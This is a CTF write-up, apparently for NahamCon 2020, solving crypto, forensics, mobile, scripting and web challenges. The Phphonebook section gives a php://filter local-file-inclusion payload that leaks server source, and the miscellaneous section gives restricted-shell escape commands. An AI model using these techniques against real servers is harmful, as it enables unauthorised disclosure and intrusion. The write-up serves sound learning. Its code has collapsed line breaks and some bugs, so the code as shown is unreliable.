this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
